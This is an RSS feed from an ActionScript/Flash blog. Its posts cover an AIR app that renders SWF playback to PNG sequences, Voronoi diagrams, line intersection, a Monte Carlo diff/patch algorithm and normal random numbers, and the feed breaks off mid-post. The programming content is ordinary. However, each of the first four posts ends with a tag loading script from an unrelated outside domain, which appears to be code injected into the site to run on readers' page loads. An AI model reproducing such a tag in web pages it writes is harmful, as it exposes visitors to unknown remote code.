<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Controul &#187; Actionscript</title>
	<atom:link href="http://blog.controul.com/category/actionscript/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.controul.com</link>
	<description>Elaborations on flash.</description>
	<lastBuildDate>Thu, 29 Jul 2010 09:28:05 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Producing video with flash/air: png sequence rendering from swf playback</title>
		<link>http://blog.controul.com/2009/12/producing-video-with-flashair-png-sequence-rendering-from-swf-playback/</link>
		<comments>http://blog.controul.com/2009/12/producing-video-with-flashair-png-sequence-rendering-from-swf-playback/#comments</comments>
		<pubDate>Mon, 07 Dec 2009 19:46:28 +0000</pubDate>
		<dc:creator>hristo</dc:creator>
				<category><![CDATA[Actionscript]]></category>
		<category><![CDATA[Chitchat]]></category>
		<category><![CDATA[Video]]></category>

		<guid isPermaLink="false">http://blog.controul.com/?p=352</guid>
		<description><![CDATA[Small air app for producing video from swf files. It plays through a queue of swf files and dumps a png sequence in a destination folder, optionally adding camera shake and flicker. Some guidance on compressing and muxing.]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been quite busy at school here in Barcelona. Busy in fun ways too: recently I put flash to good use in a &#8216;creative project&#8217; my mates and I had to pull through in the last couple of days before exams kicked in. We hacked together this short animation to welcome freshmen to next year&#8217;s csr classes:</p>
<object width='690' height='388'><param name='allowfullscreen' value='true' /><param name='allowscriptaccess' value='always' /><param name='movie' value='http://vimeo.com/moogaloop.swf?clip_id=7962081&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1' /><embed src='http://vimeo.com/moogaloop.swf?clip_id=7962081&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1' type='application/x-shockwave-flash' allowfullscreen='true' allowscriptaccess='always' width='690' height='388'></embed></object><br /><a href='http://vimeo.com/7962081'>View on Vimeo</a>.
<p>You have to love flash &#8211; you can pull out quite some tricks in no time. All scenes were done in flash authoring, and the swf files were rendered with camera shake and flicker to png sequences by a small air app. The non-flash part was simply to put everything in an avi container, compress it and <a title="Multiplexing, from Wikipedia" href="http://en.wikipedia.org/wiki/Multiplexing#Video_processing">mux</a> it with audio, stuff that was done with <a title="VirtualDub at SourceForge.net" href="http://sourceforge.net/projects/virtualdub/">virtualdub</a> and <a title="meGUI at SourceForge.net" href="http://sourceforge.net/projects/megui/">megui</a>.</p>
<h3>Rendering swf playback to an image sequence</h3>
<p>When working with video, I personally enjoy image sequences because they&#8217;re so easy to manage. My uncontested favourite format for image editing is png, mostly because it&#8217;s compact and lossless. In the case of dumping video frames from flash, it also has the advantage of compressing very well rasterised vector graphics.</p>
<p>The app I put together is some sort of a batch processor that you compile with the rendering &#8216;script&#8217; inlined in its code; its beyond simple but worked so well that I thought about posting it here in case someone needs to do something similar.</p>
<p>Here&#8217;s the cleaned-up api:</p>
<pre class="prettyprint">public class PNGSequenceRenderer extends Sprite
{
	/**
	 * Sets the dimensions of the input swf material.
	 * @param	width (pixels)
	 * @param	height (pixels)
	 */

	public function setInputSize ( width : Number, height : Number ) : PNGSequenceRenderer;

	/**
	 * Sets the dimensions of the outputed png sequence.
	 * @param	width (pixels)
	 * @param	height (pixels)
	 */

	public function setOutputSize ( width : uint, height : uint ) : PNGSequenceRenderer;

	/**
	 * Sets the scale mode for the output, either 'show all' or 'no border'.
	 * @param	showAll true for 'show all', false for 'no border'.
	 */

	public function setScaleMode ( showAll : Boolean ) : PNGSequenceRenderer;

	/**
	 * Sets the level of camera shake. ( e.g. 0 - disabled, 1 - moderate, 2 - heavy. )
	 * @param	factor Camera shake amount.
	 */

	public function setCameraShake ( factor : Number = 0 ) : PNGSequenceRenderer;

	/**
	 * Sets the level of flicker. ( e.g. 0 - disabled, 1 - moderate, 2 - heavy. )
	 * @param	factor Level of shutter flicker.
	 */

	public function setFlicker ( factor : Number = 0 ) : PNGSequenceRenderer;

	/**
	 * Sets the output background transparency and fill color.
	 * @param	transparency Whether to draw on a transparency-enabled BitmapData.
	 * @param	color Background color for rendering.
	 */

	public function setBackground ( transparency : Boolean = false, color : uint = 0 )
		: PNGSequenceRenderer;

	/**
	 * Enqueues a scene for rendering.
	 * @param	url The location of the movie to render.
	 * @param	cameraShakeMultiplier Local camera shake adjustment.
	 * @param	flickerMultiplier Local flicker adjustment.
	 * @param	from First frame to render.
	 * @param	to Frame upon which to end the scene early.
	 */

	public function enqueueScene ( url : String, cameraShakeMultiplier : Number = 1,
		flickerMultiplier : Number = 1, from : uint = 0, to : uint = 0xffffff )
		: PNGSequenceRenderer;

	/**
	 * Begins loading scenes and outputing frames in the specified folder.
	 * @param	outputFolder The folder where all outputed files are to be put.
	 *
	 * If no other limit is specified, each scene is rendered until a pink
	 * (solid #ff00ff) frame is reached.
	 */

	public function render ( outputFolder : String ) : void;
}</pre>
<h3>How to</h3>
<p>What you do with this is to extend your app from the Renderer class, and put together the rendering script in the constructor body, something like:</p>
<pre class="prettyprint">public class Main extends PNGSequenceRenderer
{
	public function Main () : void
	{
		setCameraShake ( 1 );
		setFlicker ( 1 );
		setInputSize ( 800, 400 );
		setOutputSize ( 853, 480 );
		enqueueScene ( 'C:\\prj\\swfs\\scene01.swf' );
		enqueueScene ( 'C:\\prj\\swfs\\scene02.swf' );
		render ( 'C:\\prj\\output\\' );
	}
}</pre>
<p>Compiling the project for the air 1.5 target will launch the adl and run your app, which will begin loading and playing your scenes one by one, and dumping the png sequence in the output folder. During the process you&#8217;ll be getting some basic feedback on the screen, mainly which scene and frame is being rendered.</p>
<p><strong>Note: </strong>Before you jump into testing it out, remember to have a pink solid fill frame (#ff00ff) at the end of each scene, as the renderer expects a frame with a pink middle pixel in order to proceed with the queue. Also, compile in release mode as the PNG encoder runs twice to three times faster without debug stuff in the bytecode.</p>
<p>Once you have the image sequences ready, you can edit them in virtually any video editing software package (if you need to), and then package everything in a video container. The latter will come out pretty voluminous, so you&#8217;ll need to compress it with a codec, such as <a title="H.264/MPEG-4 AVC, from Wikipedia" href="http://en.wikipedia.org/wiki/H.264/MPEG-4_AVC">h.264</a>. Finally, you <a title="Multiplexing, from Wikipedia" href="http://en.wikipedia.org/wiki/Multiplexing#Video_processing">mux</a> it with the audio and you are ready for distribution.</p>
<p>For the windows crowd, <a title="VirtualDub at SourceForge.net" href="http://sourceforge.net/projects/virtualdub/">virtualdub</a> is a great piece of software for playing with video, and also pulls off the packaging of the sequences into a container with a couple of mouse clicks. Also, check out <a title="meGUI at SourceForge.net" href="http://sourceforge.net/projects/megui/">megui</a> for the video and audio compression and <a title="Multiplexing, from Wikipedia" href="http://en.wikipedia.org/wiki/Multiplexing#Video_processing">muxing</a>, it makes it all real easy.</p>
<h3>Source</h3>
<p><a title="PNGSequenceRenderer.as" href="http://blog.controul.com/as3/PNGSequenceRenderer.as">PNGSequenceRenderer.as</a></p>
<p>The code requires the <a title="PNGEncoder from as3corelib" href="http://code.google.com/p/as3corelib/source/browse/trunk/src/com/adobe/images/PNGEncoder.as">PNGEncoder</a> class from <a title="as3corelib at Google Code" href="http://code.google.com/p/as3corelib/">as3corelib</a>, as well the standard normal output <a title="ParkMiller.as" href="http://blog.controul.com/as3/ParkMiller.as">Park-Miller prng</a> class (described <a title="Random numbers: standard normal distribution in flash/as3 at Controul" href="http://blog.controul.com/2009/04/standard-normal-distribution-in-as3/">here</a> and used for the flicker and camera shake effects).<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.controul.com/2009/12/producing-video-with-flashair-png-sequence-rendering-from-swf-playback/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Speedy Voronoi diagrams in as3/flash</title>
		<link>http://blog.controul.com/2009/05/speedy-voronoi-diagrams-in-as3flash/</link>
		<comments>http://blog.controul.com/2009/05/speedy-voronoi-diagrams-in-as3flash/#comments</comments>
		<pubDate>Fri, 22 May 2009 00:21:20 +0000</pubDate>
		<dc:creator>hristo</dc:creator>
				<category><![CDATA[Actionscript]]></category>
		<category><![CDATA[Algorithms]]></category>
		<category><![CDATA[Performance]]></category>

		<guid isPermaLink="false">http://blog.controul.com/?p=321</guid>
		<description><![CDATA[An implementation of Steve Fortune's algorithm for plannar Voronoi decomposition with good performance.]]></description>
			<content:encoded><![CDATA[<p>A <a title="Voronoi diagram, from Wikipedia" href="http://en.wikipedia.org/wiki/Voronoi_diagram">Voronoi diagram</a> is a decomposition of space, here a 2d plane, on a nearest neighbour basis. The diagram splits the plane in regions, each corresponding to a site (a point of interest), and containing all the points closer to this site than to any other.</p>
<p>Voronoi diagrams have <a title="Voronoi Diagrams: Applications from Archaology to Zoology, from Geometry in Action" href="http://www.ics.uci.edu/~eppstein/gina/scot.drysdale.html">many applications</a>, in fields as different as botanics and astrology. A few examples of computer graphic uses for Voronoi diagrams include <a title="More on Voronoi, by Robert Hodgin" href="http://www.flight404.com/blog/?p=83">procedural generation of organic forms</a>, <a title="MonaTweeta II, by Mario Klingemann" href="http://www.flickr.com/photos/quasimondo/3518306770/">crazy image compression</a>, <a title="Generative art: Voronoi Fractal, by Eugene Zatepyakin" href="http://blog.inspirit.ru/?p=96">beautiful fractals</a>, noise, etc.</p>
<p>What got me in Voronoi mood however is seeing this <a title="Love is Patient, by Santiago Ortiz" href="http://moebio.com/loveispatient/">this algorithmic collage</a> by <a title="http://moebio.com/" href="http://moebio.com/">Santiago Ortiz</a> from <a title="http://bestiario.org/" href="http://bestiario.org/">Bestiario</a>. The work&#8217;s sheer visual impact shows off the one quality of Voronoi diagrams I appreciate the most &#8211; they look awesome. Watching the masks move for a couple of minutes got me terribly into porting Steve Fortune&#8217;s algorithm for Voronoi decomposition: I had to see for myself how much stuff could happen on the screen before the player choked.</p>
<h3>Fortune&#8217;s algorithm</h3>
<p><a title="Fortune's algorithm, from Wikipedia" href="http://en.wikipedia.org/wiki/Fortune's_algorithm">Fortune&#8217;s algorithm</a>, ideally, computes a Voronoi diagram in O(NlogN) time, where N is the number of sites, or the minimum possible time for the job, as O(NlogN) is the time-complexity of optimal sorting algorithms. It sweeps through the plane, maintaining a front of parabolas that progressively traces out the diagram, by spliting and adding curves for each site encountered, and removing arcs whenever a region vertex is determined with certainty. The Wikipedia article has it all explained pretty well, but if you need additional info, give <a title="Planar Voronoi Diagrams via Fortune's Algorithm" href="http://www.amath.washington.edu/~dnlennon/voronoi/">this</a> and <a title="Fortune's Algorithm and Voronoi diagrams" href="http://www.cs.wustl.edu/~pless/546/lectures/l16.html">this</a> articles a try.</p>
<p>I began with <a title="voronoi.cc and voronoi.hh, by Matt Brubeck" href="http://www.cs.hmc.edu/~mbrubeck/voronoi.html">this c++ implementation</a>, which is a simplified take on the algorithm. The latter uses a binary tree for the composition of the beachline, whilst here we&#8217;ve got a double linked list. However, I do think that the double-link approach would do better for most visual applications in flash, where the cost of not having quick lookup of beachline parabolas might be offset by not having to reogranise the tree, and by the low overall number of particles. I ended up modifying and optimising most of the code however, and I bet this is the reason for the artifacts that show up every now and then in the last of the three demos.</p>
<p>Below you have a demo showing off 1000 regions, in line with <a title="Alan Shaw" href="http://nodename.com/blog/">nodename</a>&#8216;s <a title="Mona Voronita, by Alan Shaw" href="http://nodename.com/blog/2009/05/18/mona-voronita/">mona-lisa tessalator</a>:</p>

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_voronoi1000_1873178683"
			class=""
			width="100%"
			height="300">
	<param name="movie" value="http://blog.controul.com/swf/voronoi1000.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="http://blog.controul.com/swf/voronoi1000.swf"
			name="fm_voronoi1000_1873178683"
			width="100%"
			height="300">
	<!--<![endif]-->
		
	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object>
<p>Then 2000 points going around with their speed determined by the values of an image:</p>

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_voronoi-image_2004244875"
			class=""
			width="100%"
			height="300">
	<param name="movie" value="http://blog.controul.com/swf/voronoi-image.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="http://blog.controul.com/swf/voronoi-image.swf"
			name="fm_voronoi-image_2004244875"
			width="100%"
			height="300">
	<!--<![endif]-->
		
	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object>
<p>Finally, a simple audio visualiser: </p>

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_voronoi-audio_1931230477"
			class=""
			width="100%"
			height="300">
	<param name="movie" value="http://blog.controul.com/swf/voronoi-audio.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="http://blog.controul.com/swf/voronoi-audio.swf"
			name="fm_voronoi-audio_1931230477"
			width="100%"
			height="300">
	<!--<![endif]-->
		
	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object>
<p>Anyway, this really is just a study of how quickly the regions of a diagram can shape up without cheating. There is no bounding box intersection, nor sophisticated output options. Clearly, output of an optimal and informative data structure will be worth the performance kick, and if I get to do my graph theory homework, I&#8217;ll be coming back to this.</p>
<h3>Implementations</h3>
<p>Fortune&#8217;s algorithm is already well implemented and made available by <a title="Generative art: Voronoi Fractal, by Eugene Zatepyakin" href="http://blog.inspirit.ru/?p=96">astatic</a>, also nodename shows it off with his <a title="Relaxing in the Plane: A Voronoi Toy, by Alan Shaw" href="http://nodename.com/blog/2009/05/11/a-voronoi-toy/">Voronoi toy</a>, even though you don&#8217;t see the sources. You get a different tool for the same job by <a title="Delaunay triangulation and Voronoi diagram, by Nicolas Barradeau" href="http://en.nicoptere.net/?p=10">HIDIHO!</a>, he goes through <a title="Delaunay triangulation, from Wikipedia" href="http://en.wikipedia.org/wiki/Delaunay_triangulation">Delaunay triangulation</a>, and then translates to a Voronoi decomposition, the two being <a title="Dual graph, from Wikipedia" href="http://en.wikipedia.org/wiki/Dual_graph">dual graphs</a>.</p>
<h3>Sources</h3>
<p><a title="Arc.as" href="http://blog.controul.com/as3/Arc.as">Arc.as</a>, <a title="Fortune.as" href="http://blog.controul.com/as3/Fortune.as">Fortune.as</a>, <a title="Number2.as" href="http://blog.controul.com/as3/Number2.as">Number2.as</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.controul.com/2009/05/speedy-voronoi-diagrams-in-as3flash/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>A quick note on line and segment intersection (as3)</title>
		<link>http://blog.controul.com/2009/05/line-segment-intersection/</link>
		<comments>http://blog.controul.com/2009/05/line-segment-intersection/#comments</comments>
		<pubDate>Sat, 09 May 2009 18:17:02 +0000</pubDate>
		<dc:creator>hristo</dc:creator>
				<category><![CDATA[Actionscript]]></category>
		<category><![CDATA[Algorithms]]></category>

		<guid isPermaLink="false">http://blog.controul.com/?p=292</guid>
		<description><![CDATA[A small optimisation to a popular line intersection function in as3.]]></description>
			<content:encoded><![CDATA[<p>Just a quick note: <a title="Keith Hair's blog" href="http://keith-hair.net/blog/">Keith Hair</a> has a very sweet and useful series of posts about <a title="Posts Tagged “Intersection”, by Keith Hair" href="http://keith-hair.net/blog/tag/intersection/">line intersections</a> that have saved me more than a few hours of headbanging. In particular, his <a title="Find Intersection Point of two lines in AS3" href="http://keith-hair.net/blog/2008/08/04/find-intersection-point-of-two-lines-in-as3/">line intersection function</a> is a marvelous paste-and-go solution, and I really feel like posting a small optimisation that accelerates the constraint checks at the end, which, as <a title="Concave shape triangulation: ear cutting algorithm, by Nicolas Barradeau" href="http://en.nicoptere.net/?p=16">Nicolas Barradeau points out</a>, do need some attention.</p>
<p>Instead of posting the whole function body here, here&#8217;s a recipe. First, get the original code from <a title="Find Intersection Point of two lines in AS3" href="http://keith-hair.net/blog/2008/08/04/find-intersection-point-of-two-lines-in-as3/">Keith&#8217;s post</a>. Then, replace the function declaration with the following:</p>
<pre class="prettyprint">function lineIntersectLine (
	A : Point, B : Point,
	E : Point, F : Point,
	ABasSeg : Boolean = true, EFasSeg : Boolean = true
) : Point</pre>
<p>Finally, instead of the <em>if (as_seg)</em> block, paste this:</p>
<pre class="prettyprint">//	Deal with rounding errors.

if ( A.x == B.x )
	ip.x = A.x;
else if ( E.x == F.x )
	ip.x = E.x;
if ( A.y == B.y )
	ip.y = A.y;
else if ( E.y == F.y )
	ip.y = E.y;

//	Constrain to segment.

if ( ABasSeg )
{
	if ( ( A.x &lt; B.x ) ? ip.x &lt; A.x || ip.x &gt; B.x : ip.x &gt; A.x || ip.x &lt; B.x )
		return null;
	if ( ( A.y &lt; B.y ) ? ip.y &lt; A.y || ip.y &gt; B.y : ip.y &gt; A.y || ip.y &lt; B.y )
		return null;
}
if ( EFasSeg )
{
	if ( ( E.x &lt; F.x ) ? ip.x &lt; E.x || ip.x &gt; F.x : ip.x &gt; E.x || ip.x &lt; F.x )
		return null;
	if ( ( E.y &lt; F.y ) ? ip.y &lt; E.y || ip.y &gt; F.y : ip.y &gt; E.y || ip.y &lt; F.y )
		return null;
}</pre>
<p>By having both an ABasSeg and EFasSeg parameters, you&#8217;ll be also able to easily intersect segments with lines:</p>

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_intersections2d_484860859"
			class=""
			width="100%"
			height="300">
	<param name="movie" value="http://blog.controul.com/swf/intersections2d.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="http://blog.controul.com/swf/intersections2d.swf"
			name="fm_intersections2d_484860859"
			width="100%"
			height="300">
	<!--<![endif]-->
		
	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.controul.com/2009/05/line-segment-intersection/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>A diff/patch solution for Flash: a proof of concept Monte Carlo algorithm for comparing text versions in as3</title>
		<link>http://blog.controul.com/2009/05/diff-patch-for-flash-as3/</link>
		<comments>http://blog.controul.com/2009/05/diff-patch-for-flash-as3/#comments</comments>
		<pubDate>Tue, 05 May 2009 22:53:06 +0000</pubDate>
		<dc:creator>hristo</dc:creator>
				<category><![CDATA[Actionscript]]></category>
		<category><![CDATA[Algorithms]]></category>
		<category><![CDATA[Stochastic]]></category>

		<guid isPermaLink="false">http://blog.controul.com/?p=217</guid>
		<description><![CDATA[A discussion of two implementations of string/plaintext diff in Actionscript: the google-diff-match-patch, and a proof of concept diff algorithm based on random sampling of substrings.]]></description>
			<content:encoded><![CDATA[<p><em>EDIT 2:</em></p>
<p><a title="Patch.as" href="http://blog.controul.com/as3/Patch.as"><em>Patch.as</em></a><em> was fixed again, another issue with RangeErrors from ByteArray.writeUTF (). Well, forget certainty levels, but this time all should really be working just fine with strings of any length.</em></p>
<p><em>EDIT 1:</em></p>
<p><em><a title="Patch.as" href="http://blog.controul.com/as3/Patch.as">Patch.as</a></em><em> underwent some serious debugging and <em>unit </em>testing these days (thanks to Rich, see the comments below), so I&#8217;ve 95% certainty that the sources below (updated) are free from bugs. Anyway, the bugs we fixed were silly copy/paste havoc, so if you DO find something wrong about the Patch class, I doubt it&#8217;ll be difficult to fix.</em></p>
<p><em>Also check out the .reversed flag on the Patch object, it&#8217;s helpful when you need to &#8216;unpatch&#8217; a string.</em></p>
<p><em>/EDIT.</em></p>
<h3>diff and patch</h3>
<p><a title="diff, from Wikipedia" href="http://en.wikipedia.org/wiki/Diff">diff</a> is a file comparison tool in Unix-like environments, born in the 1970s, which takes two plain text files and outputs the spots where they differ. Its counterpart, <a title="patch (Unix), from Wikipedia" href="http://en.wikipedia.org/wiki/Patch_(Unix)">patch</a>, is a tool that applies diff output to files in order to keep them updated; this technique was used to synchronise content, often source code, on multiple workstations (today <a title="Subversion (software), from Wikipedia" href="http://en.wikipedia.org/wiki/Subversion_(software)">Subversion</a> uses the same trick), and later became the paradigm for <a title="Revision control, from Wikipedia" href="http://en.wikipedia.org/wiki/Revision_control">revision control</a> systems in collaborative content applications.</p>
<p>Generally speaking, diff works by solving the <a title="Longest common subsequence problem, from Wikipedia" href="http://en.wikipedia.org/wiki/Longest_common_subsequence_problem">longest common subsequence problem</a>; when dealing with texts, that&#8217;s finding the longest common substring. The operation could be repeated on the left and right of this biggest common chunk, and so on, until there&#8217;s nothing else to match. The optimal solution is the minimal set of edits (inserts and deletes) that would suffice to construct the new text from the old, or the most compact possible correct diff output.</p>
<h3>google-diff-match-patch</h3>
<p>I came across <a title="google-diff-match-patch, at Google Code" href="http://code.google.com/p/google-diff-match-patch/">google-diff-match-patch</a> when reading about <a title="An O(ND) Difference Algorithm and Its Variations, by Eugene W. Myers" href="http://www.xmailserver.org/diff2.pdf">the O(ND) diff</a>. The author of the library, <a title="Neil Fraser" href="http://neil.fraser.name/">Neil Fraser</a>, has done an amazing job in bringing what&#8217;s probably the most sophisticated diff algorithm to the world of web development, by creating a common API for javascript, java and python (hello <a title="Google App Engine, at Google Code" href="http://code.google.com/appengine/">App Engine</a>!), and also c++. The library is already ported to as3; you need to ask Neil for the code though, it&#8217;s still not in the repository.</p>
<p>Neil&#8217;s google-diff-match-patch provides you with a <a title="Demo of Diff, by Neil Fraser" href="http://neil.fraser.name/software/diff_match_patch/svn/trunk/demos/demo_diff.html">diff tool</a> and <a title="Demo of Patch, by Neil Fraser" href="http://neil.fraser.name/software/diff_match_patch/svn/trunk/demos/demo_patch.html">patch tool</a> for strings. The latter is extremely sweet and clever, because it works on a best effort basis: in case the patch tool is ran on a string which is not identical to the &#8216;original&#8217; text used by diff to make the patch, it looks up the areas to be patched by <a title="Approximate string matching, from Wikipedia" href="http://en.wikipedia.org/wiki/Fuzzy_string_searching">approximate string matching</a> of the patch context, and is thus pretty much capable of patching texts which have been even heavily modified in the meantime by another user or action.</p>
<p>There&#8217;s something that worries me about the O(ND) diff when applied on a character-by-character basis on long texts however, especially in the context of js virtual machines or the avm. I do not fully understand how the solver works, but I am afraid that it may be a little too combersome a computation in settings which are not completely theoretical. In other words, if you run the Google diff on two big enough texts with lots of common and differing chunks alternated throughout, the algorithm will choke, even for minutes.</p>
<h3>Why so serious?</h3>
<p>In my view, looking for an optimal diff solution is overkill. In fact, if one allows for some degree of suboptimal results, the computational effort needed to pull the trick can be radically decreased.</p>
<p>Well, I though that a problem such as that of finding common substrings in two strings would be a great way to get some experience with <a title="Monte Carlo method, from Wikipedia" href="http://en.wikipedia.org/wiki/Monte_Carlo_method">Monte Carlo</a> problem-solving, and decided to put together a quick and dirty proof of concept implementation of a plain text diff based on random sampling. Starting from <a title="Diff Strategies, by Neil Fraser" href="http://neil.fraser.name/writing/diff/">Neil&#8217;s articles</a> and the <a title="google-diff-match-patch, at Google Code" href="http://code.google.com/p/google-diff-match-patch/">google-diff-match-patch sources</a>, I aimed to build a diff which can relatively quickly find a near-to optimal solution, so to prevent the app from freezing, while avoiding the need for marsalling.</p>
<p>The following benchmark contrasts the performance and result quality (with no post-processing nor semantic clean-up) of my naive Monte Carlo diff and the Google O(ND) diff. The two texts are the first and last revision of my &#8216;Hello world!&#8217; post:</p>

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_diffspeed_562608356"
			class=""
			width="100%"
			height="330">
	<param name="movie" value="http://blog.controul.com/swf/diffspeed.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="http://blog.controul.com/swf/diffspeed.swf"
			name="fm_diffspeed_562608356"
			width="100%"
			height="330">
	<!--<![endif]-->
		
	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object>
<p>There are a few possible explainations for why the google diff slows down this much. First of all, the O(ND) diff&#8217;s name suggests its time-complexity (N = A+B, the sum of the lengths of the texts being compared, and D being the shortest edit path). Another is in the nature of the port I have at my disposal, which shoots out a ton of warnings, and is nowhere near optimised for the avm <em>[EDIT: Indeed, running the same texts in the </em><a title="Demo of Diff, by Neil Fraser" href="http://neil.fraser.name/software/diff_match_patch/svn/trunk/demos/demo_diff.html"><em>diff demo of google-diff-match-patch</em></a><em> (in Chrome) yields timings that are about three times lower]</em>. Most importantly, the algorithm takes so much more time because of the much higher quality of its solution: still, most of this effort will be for nothing after an <a title="Diff Strategies, Neil Fraser" href="http://neil.fraser.name/writing/diff/">efficiency and semantic clean-up</a>, yet there is no real way to request less detail in the first place.</p>
<p>My point is that you don&#8217;t need an optimal solution to communicate text changes; you need a reasonably compact one, but asap. A quick patch can always be reduced server-side if needed, by recursively running diff on all insertion/deletion pairs of edits.</p>
<h3>What&#8217;s behind this &#8216;Monte Carlo&#8217; diff</h3>
<p>Small substrings from the shorter text are taken, and if they exist in the longer text, a binary search begins on their left and right expanding them in the two directions. When an entire common chunk is found, its location and length are recorded and excluded from the search, hence reducing the problem size. The first two substrings are taken from the begining and the end of shorter string, so to quickly find and rule-out the common prefix or suffix (if any), after which the search goes on at random locations.</p>
<p>Arbitrary decision rules determine when the search will stop, and then a simple solver kicks in to resolve conflicts among the discovered common substring. Such conflicts usually involve chunk overlapping, but can also consist in N-to-1 relationships in between chunks in two texts, usually when those two have repetitive common parts (copy-pasting is good reason for such a thing to happen). Because some conflicts will require that common chunks get discarded, before running the solver, the commonalities are sorted (and thus prioritised) by length: hence naively solving the <a title="Longest common subsequence problem, from Wikipedia" href="http://en.wikipedia.org/wiki/Longest_common_subsequence_problem">longest common subsequence problem</a>. Conflicts are cheap to resolve however, and this step adds very little overhead to the whole algorithm.</p>
<p>Finally, as an optional post-processing step, semantic adjustment takes place, aligning all chunks to whitespace and punctuation, hence yielding human readable output.</p>
<h3>What you can do with this</h3>
<p>The demo below gives you a basic interface to play around with the API. The scenario mimics the google-diff-match-patch <a title="Demo of Patch, by Neil Fraser" href="http://neil.fraser.name/software/diff_match_patch/svn/trunk/demos/demo_patch.html">Shakespeare demo</a>. The first two fields contain the old and new versions of the text to be diffed. The following row displays the computed patch in the google-diff-match-patch &#8216;emulated&#8217; <a title="diff #Unified format, from Wikipedia" href="http://en.wikipedia.org/wiki/Diff#Unified_format">unified diff format</a>, and a human-readable version of the solution. Finally, the final row provides an input field for a text to be patched, and a result field for the patch operation.</p>

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_diffpatch_257028391"
			class=""
			width="100%"
			height="550">
	<param name="movie" value="http://blog.controul.com/swf/diffpatch.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="http://blog.controul.com/swf/diffpatch.swf"
			name="fm_diffpatch_257028391"
			width="100%"
			height="550">
	<!--<![endif]-->
		
	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object>
<p>The approximate string matching functionality of the patch tool is built directly over Neil&#8217;s implementation of the <a title="Bitap algorithm, from Wikipedia" href="http://en.wikipedia.org/wiki/Bitap_algorithm">Bitap algorithm</a>; I have ported Neil&#8217;s code to as3, doing my best to optimise it for the avm.</p>
<p>Worth noting is that the API is fully compatible with the google-diff-match-patch library through this pseudo-unified serialisation format; hence you can be running the Google diff on the server-side, and this quick diff in the client with no complications.</p>
<h3>Grounds for improvement</h3>
<p>In terms of performance, there is a lot that could be done with the algorithm&#8217;s search logic; currently it abuses the substring and indexOf methods, and they are indeed slow. An inconclusive charAt () binary search with a final substring comparison will probably render the algorithm much faster in most situations. Another thing to look into is to direct the random sampling process towards areas that are more likely to contain commonalities and preventing it from sampling the same substring more than once.</p>
<h3>Source</h3>
<p><a title="Patch.as" href="http://blog.controul.com/as3/Patch.as">Patch.as</a>, <a title="Bitap.as" href="http://blog.controul.com/as3/Bitap.as">Bitap.as</a></p>
<p>These are the current sources. The code is still in the works though, so let me know if you spot any trouble.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.controul.com/2009/05/diff-patch-for-flash-as3/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Random numbers: standard normal distribution in flash/as3</title>
		<link>http://blog.controul.com/2009/04/standard-normal-distribution-in-as3/</link>
		<comments>http://blog.controul.com/2009/04/standard-normal-distribution-in-as3/#comments</comments>
		<pubDate>Wed, 15 Apr 2009 22:25:19 +0000</pubDate>
		<dc:creator>hristo</dc:creator>
				<category><![CDATA[Actionscript]]></category>
		<category><![CDATA[Algorithms]]></category>
		<category><![CDATA[Stochastic]]></category>

		<guid isPermaLink="false">http://blog.controul.com/?p=138</guid>
		<description><![CDATA[An implementation of the Marsaglia polar transform in Actionscript (a method for generation of standard normal random numbers from uniformly distributed random input) built into a Park-Miller pseudo-random number generator.]]></description>
			<content:encoded><![CDATA[<p>Posting about <a title="True random numbers in Flash: measuring clock drift" href="http://blog.controul.com/2009/04/true-random-numbers-in-flash-clock-drift/">measuring clock drift</a> got me in the mood of poking random numbers a bit more. Well, about an year ago I decided I needed normally distributed <a title="Pseudorandom number generator, from Wikipedia" href="http://en.wikipedia.org/wiki/Pseudorandom_number_generator">prng</a> output, but never really used it for anything. I am sharing a solution in my best hope that someone will spare themselves the headbanging part.</p>
